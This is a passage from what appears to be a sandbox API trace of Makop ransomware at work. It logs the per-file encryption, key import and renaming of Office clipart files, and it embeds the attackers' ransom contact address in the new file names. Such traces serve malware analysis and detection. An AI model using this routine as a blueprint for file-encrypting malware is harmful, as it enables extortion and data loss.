lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.544] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.544] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.545] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.545] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.545] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.545] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2028, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2028, lpOverlapped=0x0) returned 1 [0140.555] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2030, dwBufLen=0x2030 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2030) returned 1 [0140.555] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.555] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2030, lpOverlapped=0x0) returned 1 [0140.555] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.556] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.556] SetEndOfFile (hFile=0xf0) returned 1 [0140.565] GetProcessHeap () returned 0x48a0000 [0140.565] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.565] GetProcessHeap () returned 0x48a0000 [0140.565] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.565] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.569] CloseHandle (hObject=0xf0) returned 1 [0140.570] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82eb1b00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82eb1b00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01473_.WMF", cAlternateFileName="")) returned 1 [0140.570] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF") returned 63 [0140.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.573] GetProcessHeap () returned 0x48a0000 [0140.573] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.573] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.573] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.573] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0140.578] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.578] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.578] GetProcessHeap () returned 0x48a0000 [0140.578] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.579] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.579] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.579] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.579] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.579] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.579] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.579] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.580] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.580] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.580] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.580] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.580] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x28ae, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x28ae, lpOverlapped=0x0) returned 1 [0140.582] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x28b0, dwBufLen=0x28b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x28b0) returned 1 [0140.582] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.582] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x28b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x28b0, lpOverlapped=0x0) returned 1 [0140.582] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.582] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.583] SetEndOfFile (hFile=0xf0) returned 1 [0140.610] GetProcessHeap () returned 0x48a0000 [0140.610] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.610] GetProcessHeap () returned 0x48a0000 [0140.610] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.610] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.612] CloseHandle (hObject=0xf0) returned 1 [0140.613] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5def00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f5def00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x349c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01474_.WMF", cAlternateFileName="")) returned 1 [0140.613] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF") returned 63 [0140.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.614] GetProcessHeap () returned 0x48a0000 [0140.614] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.614] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.614] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.614] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.621] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.621] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.621] GetProcessHeap () returned 0x48a0000 [0140.621] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.622] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.622] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.622] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.622] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.622] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.622] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.623] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.623] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.623] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.623] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.623] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.623] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x349c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x349c, lpOverlapped=0x0) returned 1 [0140.627] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x34a0, dwBufLen=0x34a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x34a0) returned 1 [0140.628] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.628] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x34a0, lpOverlapped=0x0) returned 1 [0140.628] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.628] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.628] SetEndOfFile (hFile=0xf0) returned 1 [0140.636] GetProcessHeap () returned 0x48a0000 [0140.636] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.636] GetProcessHeap () returned 0x48a0000 [0140.636] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.636] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.636] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.638] CloseHandle (hObject=0xf0) returned 1 [0140.638] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb77a00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bb77a00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01627_.WMF", cAlternateFileName="")) returned 1 [0140.638] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF") returned 63 [0140.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.639] GetProcessHeap () returned 0x48a0000 [0140.639] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.639] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.639] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.640] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.640] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.640] GetProcessHeap () returned 0x48a0000 [0140.640] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.640] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.640] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.640] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.671] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.671] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.671] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.672] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.672] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.672] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.672] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.672] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.672] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xce0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xce0, lpOverlapped=0x0) returned 1 [0140.672] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xce0, dwBufLen=0xce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xce0) returned 1 [0140.672] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.672] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xce0, lpOverlapped=0x0) returned 1 [0140.673] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.673] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.673] SetEndOfFile (hFile=0xf0) returned 1 [0140.680] GetProcessHeap () returned 0x48a0000 [0140.680] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.680] GetProcessHeap () returned 0x48a0000 [0140.680] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.681] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.682] CloseHandle (hObject=0xf0) returned 1 [0140.682] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d600, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f01d600, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xb9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01680_.WMF", cAlternateFileName="")) returned 1 [0140.683] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF") returned 63 [0140.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.684] GetProcessHeap () returned 0x48a0000 [0140.684] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.684] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.684] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.684] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0140.695] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.695] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.695] GetProcessHeap () returned 0x48a0000 [0140.695] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.695] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.695] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.695] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.696] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, 